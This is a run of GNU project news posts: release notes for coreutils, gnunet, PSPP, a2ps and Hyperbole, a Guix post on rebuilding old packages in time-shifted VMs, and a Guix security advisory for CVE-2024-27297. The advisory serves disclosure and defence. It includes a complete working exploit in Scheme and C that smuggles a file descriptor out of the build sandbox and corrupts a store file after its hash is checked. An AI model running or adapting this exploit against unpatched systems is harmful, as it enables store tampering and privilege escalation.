sort again handles thousands grouping characters in single-byte locales
where the grouping character is greater than CHAR_MAX. For e.g. signed
character platforms with a 0xA0 (aka  ) grouping character.
[bug introduced in coreutils-9.1]
split --line-bytes with a mixture of very long and short lines
no longer overwrites the heap (CVE-2024-0684).
[bug introduced in coreutils-9.2]
tail no longer mishandles input from files in /proc and /sys file systems,
on systems with a page size larger than the stdio BUFSIZ.
[This bug was present in "the beginning".]
timeout avoids a narrow race condition, where it might kill arbitrary
processes after a failed process fork.
[bug introduced with timeout in coreutils-7.0]
timeout avoids a narrow race condition, where it might fail to
kill monitored processes immediately after forking them.
[bug introduced with timeout in coreutils-7.0]
wc no longer fails to count unprintable characters as parts of words.
[bug introduced in textutils-2.1]
** Changes in behavior
base32 and base64 no longer require padding when decoding.
Previously an error was given for non padded encoded data.
base32 and base64 have improved detection of corrupted encodings.
Previously encodings with non zero padding bits were accepted.
basenc --base16 -d now supports lower case hexadecimal characters.
Previously an error was given for lower case hex digits.
cp --no-clobber, and mv -n no longer exit with failure status if
existing files are encountered in the destination. Instead they revert
to the behavior from before v9.2, silently skipping existing files.
ls --dired now implies long format output without hyperlinks enabled,
and will take precedence over previously specified formats or hyperlink mode.
numfmt will accept lowercase 'k' to indicate Kilo or Kibi units on input,
and uses lowercase 'k' when outputting such units in '--to=si' mode.
pinky no longer tries to canonicalize the user's login location by default,
rather requiring the new --lookup option to enable this often slow feature.
wc no longer ignores encoding errors when counting words.
Instead, it treats them as non white space.
** New features
chgrp now accepts the --from=OWNER:GROUP option to restrict changes to files
with matching current OWNER and/or GROUP, as already supported by chown(1).
chmod adds support for -h, -H,-L,-P, and --dereference options, providing
more control over symlink handling. This supports more secure handling of
CLI arguments, and is more consistent with chown, and chmod on other systems.
cp now accepts the --keep-directory-symlink option (like tar), to preserve
and follow existing symlinks to directories in the destination.
cp and mv now accept the --update=none-fail option, which is similar
to the --no-clobber option, except that existing files are diagnosed,
and the command exits with failure status if existing files.
The -n,--no-clobber option is best avoided due to platform differences.
env now accepts the -a,--argv0 option to override the zeroth argument
of the command being executed.
mv now accepts an --exchange option, which causes the source and
destination to be exchanged. It should be combined with
--no-target-directory (-T) if the destination is a directory.
The exchange is atomic if source and destination are on a single
file system that supports atomic exchange; --exchange is not yet
supported in other situations.
od now supports printing IEEE half precision floating point with -t fH,
or brain 16 bit floating point with -t fB, where supported by the compiler.
tail now supports following multiple processes, with repeated --pid options.
** Improvements
cp,mv,install,cat,split now read and write a minimum of 256KiB at a time.
This was previously 128KiB and increasing to 256KiB was seen to increase
throughput by 10-20% when reading cached files on modern systems.
env,kill,timeout now support unnamed signals. kill(1) for example now
supports sending such signals, and env(1) will list them appropriately.
SELinux operations in file copy operations are now more efficient,
avoiding unneeded MCS/MLS label translation.
sort no longer dynamically links to libcrypto unless -R is used.
This decreases startup overhead in the typical case.
wc is now much faster in single-byte locales and somewhat faster in
multi-byte locales.
28 March, 2024 03:39PM by Pádraig Brady
This is mostly a bugfix release for libgnunetchat 0.3.0 to reduce build issues.
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links may be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/
I'm very pleased to announce the release of a new version of GNU PSPP. PSPP is a program for statistical analysis of sampled data. It is a free replacement for the proprietary program SPSS.
Changes from 2.0.0 to 2.0.1:
Please send PSPP bug reports to bug-gnu-pspp@gnu.org.
21 March, 2024 11:42PM by Ben Pfaff
This is a bugfix release for gnunet 0.21.0. It primarily addresses some connectivity issues introduced with our new transport subsystem.
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links may be functional early after the release. For direct access try https://ftp.gnu.org/gnu/gnunet/
I am delighted to announce version 4.15.6 of GNU a2ps, the Anything to
PostScript converter.
This release fixes a couple of bugs, in particular with printing (the -P
flag). See below for details.
Here are the compressed sources and a GPG detached signature:
https://ftpmirror.gnu.org/a2ps/a2ps-4.15.6.tar.gz
https://ftpmirror.gnu.org/a2ps/a2ps-4.15.6.tar.gz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Here are the SHA1 and SHA256 checksums:
e20e8009d8812c8d960884b79aab95f235c725c0 a2ps-4.15.6.tar.gz
h/+dgByxGWkYHVuM+LZeZeWyS7DHahuCXoCY8pBvvfQ a2ps-4.15.6.tar.gz
The SHA256 checksum is base64 encoded, instead of the
hexadecimal encoding that most checksum tools default to.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify a2ps-4.15.6.tar.gz.sig
The signature should match the fingerprint of the following key:
pub rsa2048 2013-12-11 [SC]
2409 3F01 6FFE 8602 EF44 9BB8 4C8E F3DA 3FD3 7230
uid Reuben Thomas <rrt@sc3d.org>
uid keybase.io/rrt <rrt@keybase.io>
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
gpg --locate-external-key rrt@sc3d.org
gpg --recv-keys 4C8EF3DA3FD37230
wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=a2ps&download=1' | gpg --import -
As a last resort to find the key, you can try the official GNU
keyring:
wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg
gpg --keyring gnu-keyring.gpg --verify a2ps-4.15.6.tar.gz.sig
This release was bootstrapped with the following tools:
Autoconf 2.71
Automake 1.16.5
Gnulib v0.1-7186-g5aa8eafc0e
NEWS
* Noteworthy changes in release 4.15.6 (2024-03-13) [stable]
* Bug fixes:
- Fix a2ps-lpr-wrapper to work with no arguments, as a2ps requires.
- Minor fixes & improvements to sheets.map for image types and PDF.
* Build system:
- Minor fixes and improvements.
13 March, 2024 06:24PM by Reuben Thomas
Rebuilding software five years later, how hard can it be? It can’t be that hard, especially when you pride yourself on having a tool that can travel in time and that does a good job at ensuring reproducible builds, right?
In hindsight, we can tell you: it’s more challenging than it
seems. Users attempting to travel 5 years back with guix time-machine
are (or were) unavoidably going to hit bumps on the road—a real
problem because that’s one of the use cases Guix aims to support well,
in particular in a reproducible
research context.
In this post, we look at some of the challenges we face while traveling back, how we are overcoming them, and open issues.
First of all, one clarification: Guix aims to support time travel, but we’re talking of a time scale measured in years, not in decades. We know all too well that this is already very ambitious—it’s something that probably nobody except Nix and Guix are even trying. More importantly, software deployment at the scale of decades calls for very different, more radical techniques; it’s the work of archivists.
Concretely, Guix 1.0.0 was released in 2019 and our goal is to allow users to travel as far back as 1.0.0 and redeploy software from there, as in this example:
$ guix time-machine -q --commit=v1.0.0 -- \
environment --ad-hoc python2 -- python
> guile: warning: failed to install locale
Python 2.7.15 (default, Jan 1 1970, 00:00:01)
[GCC 5.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
(The command above uses guix environment
, the predecessor of guix shell
,
which didn’t exist back then.)
It’s only 5 years ago but it’s pretty much remote history on the scale
of software evolution—in this case, that history comprises major
changes in Guix
itself and
in Guile.
How well does such a command work? Well, it depends.
The project has two build farms; bordeaux.guix.gnu.org
has been
keeping substitutes (pre-built binaries) of everything it built since
roughly 2021, while ci.guix.gnu.org
keeps substitutes for roughly two
years, but there is currently no guarantee on the duration
substitutes may be retained.
Time traveling to a period where substitutes are available is
fine: you end up downloading lots of binaries, but that’s OK, you rather
quickly have your software environment at hand.
Things get more complicated when targeting a period in time for which
substitutes are no longer available, as was the case for v1.0.0
above.
(And really, we should assume that substitutes won’t remain available
forever: fellow NixOS hackers recently had to seriously consider
trimming their 20-year-long history of
substitutes
because the costs are not sustainable.)
Apart from the long build times, the first problem that arises in the absence of substitutes is source code unavailability. I’ll spare you the details for this post—that problem alone would deserve a book. Suffice to say that we’re lucky that we started working on integrating Guix with Software Heritage years ago, and that there has been great progress over the last couple of years to get closer to full package source code archival (more precisely: 94% of the source code of packages available in Guix in January 2024 is archived, versus 72% of the packages available in May 2019).
So what happens when you run the time-machine
command above? It
brings you to May 2019, a time for which none of the official build
farms had substitutes until a few days ago. Ideally, thanks to
isolated build
environments,
you’d build things for hours or days, and in the end all those binaries
will be here just as they were 5 years ago. In practice though, there
are several problems that isolation as currently implemented does not
address.
Among those, the most frequent problem is time traps: software build processes that fail after a certain date (these are also referred to as “time bombs” but we’ve had enough of these and would rather call for a ceasefire). This plagues a handful of packages out of almost 30,000 but unfortunately we’re talking about packages deep in the dependency graph. Here are some examples:
Error: time is more than 10 years from present: 1388527200000
(the build system would consider that its data about
currencies is likely outdated after 10 years).Someone traveling to v1.0.0
will hit several of these, preventing
guix time-machine
from completing. A serious bummer, especially to
those who’ve come to Guix from the perspective of making their research
workflow
reproducible.
Time traps are the main road block, but there’s more! In rare cases, there’s software influenced by kernel details not controlled by the build daemon:
In a handful of cases, but important ones, builds might fail when performed on certain CPUs. We’re aware of at least two cases:
Neither time traps nor those obscure hardware-related issues can be avoided with the isolation mechanism currently used by the build daemon. This harms time traveling when substitutes are unavailable. Giving up is not in the ethos of this project though.
There are really two open questions here:
Let’s start with #2. Before looking for a solution, it’s worth remembering where we come from. The build daemon runs build processes with a separate root file system, under dedicated user IDs, and in separate Linux namespaces, thereby minimizing interference with the rest of the system and ensuring a well-defined build environment. This technique was implemented by Eelco Dolstra for Nix in 2007 (with namespace support added in 2012), at a time where the word container had to do with boats and before “Docker” became the name of a software tool. In short, the approach consists in controlling the build environment in every detail (it’s at odds with the strategy that consists in achieving reproducible builds in spite of high build environment variability). That these are mere processes with a bunch of bind mounts makes this approach inexpensive and appealing.
Realizing we’d also want to control the build environment’s date,
we naturally turn to Linux namespaces to address that—Dolstra, Löh, and
Pierron already suggested something along these lines in the conclusion
of their 2010 Journal of Functional Programming
paper. Turns out
there is now a time
namespace.
Unfortunately it’s limited to CLOCK_MONOTONIC
and CLOCK_BOOTTIME
clocks; the manual page states:
Note that time namespaces do not virtualize the
CLOCK_REALTIME
clock. Virtualization of this clock was avoided for reasons of complexity and overhead within the kernel.
I hear you say: What about
datefudge and
libfaketime?
These rely on the LD_PRELOAD
environment variable to trick the dynamic
linker into pre-loading a library that provides symbols such as
gettimeofday
and clock_gettime
. This is a fine approach in some
cases, but it’s too fragile and too intrusive when targeting arbitrary
build processes.
That leaves us with essentially one viable option: virtual machines
(VMs). The full-system QEMU lets you specify the initial real-time
clock of the VM with the -rtc
flag, which is exactly what we need
(“user-land” QEMU such as qemu-x86_64
does not support it). And of
course, it lets you specify the CPU model to emulate.
Now, the question is: where does the VM fit? The author considered writing a package transformation that would change a package such that it’s built in a well-defined VM. However, that wouldn’t really help: this option didn’t exist in past revisions, and it would lead to a different build anyway from the perspective of the daemon—a different derivation.
The best strategy appeared to be offloading: the build daemon can offload builds to different machines over SSH, we just need to let it send builds to a suitably-configured VM. To do that, we can reuse some of the machinery initially developed for childhurds that takes care of setting up offloading to the VM: creating substitute signing keys and SSH keys, exchanging secret key material between the host and the guest, and so on.
The end result is a service for Guix System users that can be configured in a few lines:
(use-modules (gnu services virtualization))
(operating-system
;; …
(services (append (list (service virtual-build-machine-service-type))
%base-services)))
The default setting above provides a 4-core VM whose initial date is January 2020, emulating a Skylake CPU from that time—the right setup for someone willing to reproduce old binaries. You can check the configuration like this:
$ sudo herd configuration build-vm
CPU: Skylake-Client
number of CPU cores: 4
memory size: 2048 MiB
initial date: Wed Jan 01 00:00:00Z 2020
To enable offloading to that VM, one has to explicitly start it, like so:
$ sudo herd start build-vm
From there on, every native build is offloaded to the VM. The key part is that with almost no configuration, you get everything set up to build packages “in the past”. It’s a Guix System only solution; if you run Guix on another distro, you can set up a similar build VM but you’ll have to go through the cumbersome process that is all taken care of automatically here.
Of course it’s possible to choose different configuration parameters:
(service virtual-build-machine-service-type
(virtual-build-machine
(date (make-date 0 0 00 00 01 10 2017 0)) ;further back in time
(cpu "Westmere")
(cpu-count 16)
(memory-size (* 8 1024))
(auto-start? #t)))
With a build VM with its date set to January 2020, we have been able to
rebuild Guix and its dependencies along with a bunch of packages such as
emacs-minimal
from v1.0.0
, overcoming all the time traps and other
challenges described earlier. As a side effect, substitutes
are now available from ci.guix.gnu.org
so you can even try this at
home without having to rebuild the world:
$ guix time-machine -q --commit=v1.0.0 -- build emacs-minimal --dry-run
guile: warning: failed to install locale
substitute: updating substitutes from 'https://ci.guix.gnu.org'... 100.0%
38.5 MB would be downloaded:
/gnu/store/53dnj0gmy5qxa4cbqpzq0fl2gcg55jpk-emacs-minimal-26.2
For the fun of it, we went as far as v0.16.0
, released in December
2018:
guix time-machine -q --commit=v0.16.0 -- \
environment --ad-hoc vim -- vim --version
This is the furthest we can go since channels and the underlying mechanisms that make time travel possible did not exist before that date.
There’s one “interesting” case we stumbled upon in that process: in OpenSSL 1.1.1g (released April 2020 and packaged in December 2020), some of the test certificates are not valid before April 2020, so the build VM needs to have its clock set to May 2020 or thereabouts. Booting the build VM with a different date can be done without reconfiguring the system:
$ sudo herd stop build-vm
$ sudo herd start build-vm -- -rtc base=2020-05-01T00:00:00
The -rtc …
flags are passed straight to QEMU, which is handy when
exploring workarounds…
The time-travel
continuous integration
jobset has been set up to
check that we can, at any time, travel back to one of the past releases.
This at least ensures that Guix itself and its dependencies have
substitutes available at ci.guix.gnu.org
.
Incidentally, this effort rebuilding 5-year-old packages has allowed us to fix embarrassing problems. Software that accompanies research papers that followed our reproducibility guidelines could no longer be deployed, at least not without this clock twiddling effort:
It’s good news that we can now re-deploy these 5-year-old software environments with minimum hassle; it’s bad news that holding this promise took extra effort.
The ability to reproduce the environment of software that accompanies research work should not be considered a mundanity or an exercise that’s “overkill”. The ability to rerun, inspect, and modify software are the natural extension of the scientific method. Without a companion reproducible software environment, research papers are merely the advertisement of scholarship, to paraphrase Jon Claerbout.
The astute reader surely noticed that we didn’t answer question #1 above:
How can we tell which packages needs to be “fixed”, and how: building at a specific date, on a specific CPU?
It’s a fact that Guix so far lacks information about the date, kernel, or CPU model that should be used to build a given package. Derivations purposefully lack that information on the grounds that it cannot be enforced in user land and is rarely necessary—which is true, but “rarely” is not the same as “never”, as we saw. Should we create a catalog of date, CPU, and/or kernel annotations for packages found in past revisions? Should we define, for the long-term, an all-encompassing derivation format? If we did and effectively required virtual build machines, what would that mean from a bootstrapping standpoint?
Here’s another option: build packages in VMs running in the year 2100, say, and on a baseline CPU. We don’t need to require all users to set up a virtual build machine—that would be impractical. It may be enough to set up the project build farms so they build everything that way. This would allow us to catch time traps and year 2038 bugs before they bite.
Before we can do that, the virtual-build-machine
service needs to be
optimized. Right now, offloading to build VMs is as heavyweight as
offloading to a separate physical build machine: data is transferred
back and forth over SSH over TCP/IP. The first step will be to run SSH
over a paravirtualized transport instead such as AF_VSOCK
sockets.
Another avenue would be to make /gnu/store
in the guest VM an overlay
over the host store so that inputs do not need to be transferred and
copied.
Until then, happy software (re)deployment!
Thanks to Simon Tournier for insightful comments on a previous version of this post.
13 March, 2024 03:30PM by Ludovic Courtès
A security issue has been identified in
guix-daemon
which allows for fixed-output
derivations,
such as source code tarballs or Git checkouts, to be corrupted by an
unprivileged user. This could also lead to local privilege escalation.
This was originally reported to Nix but also affects Guix as we share
some underlying code from an older version of Nix for the
guix-daemon
. Readers only interested in making sure their Guix is up
to date and no longer affected by this vulnerability can skip down to
the "Upgrading" section.
The basic idea of the attack is to pass file descriptors through Unix sockets to allow another process to modify the derivation contents. This was first reported to Nix by jade and puckipedia with further details and a proof of concept here. Note that the proof of concept is written for Nix and has been adapted for GNU Guix below. This security advisory is registered as CVE-2024-27297 (details are also available at Nix's GitHub security advisory) and rated "moderate" in severity.
A fixed-output
derivation
is one where the output hash is known in advance. For instance, to
produce a source tarball. The GNU Guix build sandbox purposefully
excludes network access (for security and to ensure we can control and
reproduce the build environment), but a fixed-output derivation does
have network access, for instance to download that source tarball.
However, as stated, the hash of output must be known in advance, again
for security (we know if the file contents would change) and
reproducibility (should always have the same output). The
guix-daemon
handles the build process and writing the output to the
store, as a privileged process.
In the build sandbox for a fixed-output derivation, a file descriptor to its contents could be shared with another process via a Unix socket. This other process, outside of the build sandbox, can then modify the contents written to the store, changing them to something malicious or otherwise corrupting the output. While the output hash has already been determined, these changes would mean a fixed-output derivation could have contents written to the store which do not match the expected hash. This could then be used by the user or other packages as well.
This security issue (tracked here for GNU Guix) has been fixed by two commits by Ludovic Courtès. Users should make sure they have updated to this second commit to be protected from this vulnerability. Upgrade instructions are in the following section.
While several possible mitigation strategies were detailed in the
original report, the simplest fix is just copy the derivation output
somewhere else, deleting the original, before writing to the store.
Any file descriptors will no longer point to the contents which get
written to the store, so only the guix-daemon
should be able to
write to the store, as designed. This is what the Nix project used in
their own
fix.
This does add an additional copy/delete for each file, which may add a
performance penalty for derivations with many files.
A proof of concept by Ludovic, adapted from the one in the original Nix report, is available at the end of this post. One can run this code with
guix build -f fixed-output-derivation-corruption.scm -M4
This will output whether the current guix-daemon
being used is
vulnerable or not. If it is vulnerable, the output will include a line similar to
We managed to corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261, meaning that YOUR SYSTEM IS VULNERABLE!
The corrupted file can be removed with
guix gc -D /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd*
In general, corrupt files from the store can be found with
guix gc --verify=contents
which will also include any files corrupted by through this
vulnerability. Do note that this command can take a long time to
complete as it checks every file under /gnu/store
, which likely has
many files.
Due to the severity of this security advisory, we strongly recommend
all users to upgrade their guix-daemon
immediately.
For a Guix System the procedure is just reconfiguring the system after
a guix pull
, either restarting guix-daemon
or rebooting. For
example,
guix pull
sudo guix system reconfigure /run/current-system/configuration.scm
sudo herd restart guix-daemon
where /run/current-system/configuration.scm
is the current system
configuration but could, of course, be replaced by a system
configuration file of a user's choice.
For Guix running as a package manager on other distributions, one
needs to guix pull
with sudo
, as the guix-daemon
runs as root,
and restart the guix-daemon
service. For example, on a system using
systemd to manage services,
sudo --login guix pull
sudo systemctl restart guix-daemon.service
Note that for users with their distro's package of Guix (as opposed to having used the install script) you may need to take other steps or upgrade the Guix package as per other packages on your distro. Please consult the relevant documentation from your distro or contact the package maintainer for additional information or questions.
One of the key features and design principles of GNU Guix is to allow unprivileged package management through a secure and reproducible build environment. While every effort is made to protect the user and system from any malicious actors, it is always possible that there are flaws yet to be discovered, as has happened here. In this case, using the ingredients of how file descriptors and Unix sockets work even in the isolated build environment allowed for a security vulnerability with moderate impact.
Our thanks to jade and puckipedia for the original report, and Picnoir for bringing this to the attention of the GNU Guix security team. And a special thanks to Ludovic Courtès for a prompt fix and proof of concept.
Note that there are current efforts to rewrite the guix-daemon
in
Guile by Christopher Baines. For more information and the latest news
on this front, please refer to the recent blog
post and
this
message
on the guix-devel
mailing list.
Below is code to check if a guix-daemon
is vulnerable to this
exploit. Save this file as fixed-output-derivation-corruption.scm
and run following the instructions above, in "Mitigation." Some
further details and example output can be found on issue
#69728
;; Checking for CVE-2024-27297.
;; Adapted from <https://hackmd.io/03UGerewRcy3db44JQoWvw>.
(use-modules (guix)
(guix modules)
(guix profiles)
(gnu packages)
(gnu packages gnupg)
(gcrypt hash)
((rnrs bytevectors) #:select (string->utf8)))
(define (compiled-c-code name source)
(define build-profile
(profile (content (specifications->manifest '("gcc-toolchain")))))
(define build
(with-extensions (list guile-gcrypt)
(with-imported-modules (source-module-closure '((guix build utils)
(guix profiles)))
#~(begin
(use-modules (guix build utils)
(guix profiles))
(load-profile #+build-profile)
(system* "gcc" "-Wall" "-g" "-O2" #+source "-o" #$output)))))
(computed-file name build))
(define sender-source
(plain-file "sender.c" "
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IOLBF, 0);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Set up an abstract domain socket path to connect to.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, \"dihutenosa\");
// Now try to connect, To ensure we work no matter what order we are
// executed in, just busyloop here.
int res = -1;
while (res < 0) {
printf(\"attempting connection...\\n\");
res = connect(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(\"dihutenosa\")
+ 1);
if (res < 0 && errno != ECONNREFUSED) perror(\"connect\");
if (errno != ECONNREFUSED) break;
usleep(500000);
}
// Write our message header.
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Write an SCM_RIGHTS message containing the output path.
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
hdr->cmsg_len = CMSG_LEN(sizeof(int));
hdr->cmsg_level = SOL_SOCKET;
hdr->cmsg_type = SCM_RIGHTS;
int fd = open(getenv(\"out\"), O_RDWR | O_CREAT, 0640);
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
msg.msg_controllen = CMSG_SPACE(sizeof(int));
// Write a single null byte too.
msg.msg_iov = malloc(sizeof(struct iovec));
msg.msg_iov[0].iov_base = \"\";
msg.msg_iov[0].iov_len = 1;
msg.msg_iovlen = 1;
// Send it to the othher side of this connection.
res = sendmsg(sock, &msg, 0);
if (res < 0) perror(\"sendmsg\");
int buf;
// Wait for the server to close the socket, implying that it has
// received the commmand.
recv(sock, (void *)&buf, sizeof(int), 0);
}"))
(define receiver-source
(mixed-text-file "receiver.c" "
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/inotify.h>
int main(int argc, char **argv) {
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Bind to the socket.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, \"dihutenosa\");
int res = bind(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(\"dihutenosa\")
+ 1);
if (res < 0) perror(\"bind\");
res = listen(sock, 1);
if (res < 0) perror(\"listen\");
while (1) {
setvbuf(stdout, NULL, _IOLBF, 0);
printf(\"accepting connections...\\n\");
int a = accept(sock, 0, 0);
if (a < 0) perror(\"accept\");
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Receive the file descriptor as sent by the smuggler.
recvmsg(a, &msg, 0);
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
while (hdr) {
if (hdr->cmsg_level == SOL_SOCKET
&& hdr->cmsg_type == SCM_RIGHTS) {
int res;
// Grab the copy of the file descriptor.
memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int));
printf(\"preparing our hand...\\n\");
ftruncate(res, 0);
// Write the expected contents to the file, tricking Nix
// into accepting it as matching the fixed-output hash.
write(res, \"hello, world\\n\", strlen(\"hello, world\\n\"));
// But wait, the file is bigger than this! What could
// this code hide?
// First, we do a bit of a hack to get a path for the
// file descriptor we received. This is necessary because
// that file doesn't exist in our mount namespace!
char buf[128];
sprintf(buf, \"/proc/self/fd/%d\", res);
// Hook up an inotify on that file, so whenever Nix
// closes the file, we get notified.
int inot = inotify_init();
inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE);
// Notify the smuggler that we've set everything up for
// the magic trick we're about to do.
close(a);
// So, before we continue with this code, a trip into Nix
// reveals a small flaw in fixed-output derivations. When
// storing their output, Nix has to hash them twice. Once
// to verify they match the \"flat\" hash of the derivation
// and once more after packing the file into the NAR that
// gets sent to a binary cache for others to consume. And
// there's a very slight window inbetween, where we could
// just swap the contents of our file. But the first hash
// is still noted down, and Nix will refuse to import our
// NAR file. To trick it, we need to write a reference to
// a store path that the source code for the smuggler drv
// references, to ensure it gets picked up. Continuing...
// Wait for the next inotify event to drop:
read(inot, buf, 128);
// first read + CA check has just been done, Nix is about
// to chown the file to root. afterwards, refscanning
// happens...
// Empty the file, seek to start.
ftruncate(res, 0);
lseek(res, 0, SEEK_SET);
// We swap out the contents!
static const char content[] = \"This file has been corrupted!\\n\";
write(res, content, strlen (content));
close(res);
printf(\"swaptrick finished, now to wait..\\n\");
return 0;
}
hdr = CMSG_NXTHDR(&msg, hdr);
}
close(a);
}
}"))
(define nonce
(string-append "-" (number->string (car (gettimeofday)) 16)
"-" (number->string (getpid))))
(define original-text
"This is the original text, before corruption.")
(define derivation-that-exfiltrates-fd
(computed-file (string-append "derivation-that-exfiltrates-fd" nonce)
(with-imported-modules '((guix build utils))
#~(begin
(use-modules (guix build utils))
(invoke #+(compiled-c-code "sender" sender-source))
(call-with-output-file #$output
(lambda (port)
(display #$original-text port)))))
#:options `(#:hash-algo sha256
#:hash ,(sha256
(string->utf8 original-text)))))
(define derivation-that-grabs-fd
(computed-file (string-append "derivation-that-grabs-fd" nonce)
#~(begin
(open-output-file #$output) ;make sure there's an output
(execl #+(compiled-c-code "receiver" receiver-source)
"receiver"))
#:options `(#:hash-algo sha256
#:hash ,(sha256 #vu8()))))
(define check
(computed-file "checking-for-vulnerability"
#~(begin
(use-modules (ice-9 textual-ports))
(mkdir #$output) ;make sure there's an output
(format #t "This depends on ~a, which will grab the file
descriptor and corrupt ~a.~%~%"
#+derivation-that-grabs-fd
#+derivation-that-exfiltrates-fd)
(let ((content (call-with-input-file
#+derivation-that-exfiltrates-fd
get-string-all)))
(format #t "Here is what we see in ~a: ~s~%~%"
#+derivation-that-exfiltrates-fd content)
(if (string=? content #$original-text)
(format #t "Failed to corrupt ~a, \
your system is safe.~%"
#+derivation-that-exfiltrates-fd)
(begin
(format #t "We managed to corrupt ~a, \
meaning that YOUR SYSTEM IS VULNERABLE!~%"
#+derivation-that-exfiltrates-fd)
(exit 1)))))))
check
GNU Guix is a transactional package manager and an advanced distribution of the GNU system that respects user freedom. Guix can be used on top of any system running the Hurd or the Linux kernel, or it can be used as a standalone operating system distribution for i686, x86_64, ARMv7, AArch64, and POWER9 machines.
In addition to standard package management features, Guix supports transactional upgrades and roll-backs, unprivileged package management, per-user profiles, and garbage collection. When used as a standalone GNU/Linux distribution, Guix offers a declarative, stateless approach to operating system configuration management. Guix is highly customizable and hackable through Guile programming interfaces and extensions to the Scheme language.
12 March, 2024 05:00PM by John Kehayias
GNU Hyperbole 9.0.1, the Rhapsody release, is now available on GNU ELPA.
And oh what a release it is: extensive new features, new video
demos, org and org roam integration, Markdown and Org file support in
HyRolo, recursive directory and wildcard file scanning in HyRolo, and
much more.
What's new in this release is extensively described here:
www.gnu.org/s/hyperbole/HY-NEWS.html
Everything back until release 8.0.0 is new since the last major release
announcement (almost a year and a half ago), so updates are extensive.
Hyperbole is like Markdown for hypertext. Hyperbole automatically
recognizes dozens of common patterns in any buffer regardless of mode
and transparently turns them into hyperbuttons you can instantly
activate with a single key. Email addresses, URLs, grep -n outputs,
programming backtraces, sequences of Emacs keys, programming
identifiers, Texinfo and Info cross-references, Org links, Markdown
links and on and on. All you do is load Hyperbole and then your text
comes to life with no extra effort or complex formatting.
But Hyperbole is also a personal information manager with built-in
capabilities of contact management/hierarchical record lookup,
legal-numbered outlines with hyperlinkable views and a unique window
and frame manager. It is even Org-compatible so you can use all of
Org's capabilities together with Hyperbole.
Hyperbole stays out of your way but is always a key press away when
you need it. Like Emacs, Org, Counsel and Helm, Hyperbole has many
different uses, all based around the theme of reducing cognitive load
and improving your everyday information management. It reduces
cognitive load by using a single Action Key, {M-RET}, across many
different contexts to perform the best default action in each.
Hyperbole has always been one of the best documented Emacs packages.
With Version 9 comes excellent test coverage: over 400 automated tests
are run with every update against every major version of Emacs since
version 27, to ensure quality. We hope you'll give it a try.
If you prefer video introductions, visit the videos linked to below;
otherwise, skip to the next section.
To install within GNU Emacs, use:
{M-x package-install RET hyperbole RET}
Hyperbole installs in less than a minute and can be uninstalled even
faster if ever need be. Give it a try.
Then to invoke its minibuffer menu, use:
{C-h h} or {M-x hyperbole RET}
The best way to get a feel for many of its capabilities is to invoke the
all new, interactive FAST-DEMO and explore sections of interest:
{C-h h d d}
To permanently activate Hyperbole in your Emacs initialization file, add
the line:
(hyperbole-mode 1)
Hyperbole is a minor mode that may be disabled at any time with:
{C-u 0 hyperbole-mode RET}
The Hyperbole home page with screenshots is here:
www.gnu.org/s/hyperbole
For use cases, see:
www.gnu.org/s/hyperbole/HY-WHY.html
For what users think about Hyperbole, see:
www.gnu.org/s/hyperbole/hyperbole.html#user-quotes
Enjoy,
The Hyperbole Team
10 March, 2024 10:22PM by Mats Lidell
The initial injustice of proprietary software often leads to further injustices: malicious functionalities.
The introduction of unjust techniques in nonfree software, such as back doors, DRM, tethering, and others, has become ever more frequent. Nowadays, it is standard practice.
We at the GNU Project show examples of malware that has been introduced in a wide variety of products and dis-services people use everyday, and of companies that make use of these techniques.
(Please note that this article misuses the word "hack" to mean "break security.")
A good privacy law would prohibit cars recording this data about the users' activities. But not just this data—lots of other data too.
DRM in Trains
Proprietary Insecurity in LogoFAIL
4K UHD Blu-ray Disks, Super Duper Malware
This is a reminder that angry users still have the power to make developers of proprietary software remove small annoyances. Don't count on public outcry to make them remove more profitable malware, though. Run away from proprietary software!
08 March, 2024 02:05AM by Dora Scilipoti
Following the new release of "libgnunetchat" there have been some changes regarding the applications utilizing it. So we are pleased to announce the new release of the Messenger-GTK application. This release will be compatible with libgnunetchat 0.3.0 and GNUnet 0.21.0 upwards.
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links may be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/
A detailed list of changes can be found in the ChangeLog .
In addition to this list, you may also want to consult our bug tracker at bugs.gnunet.org .
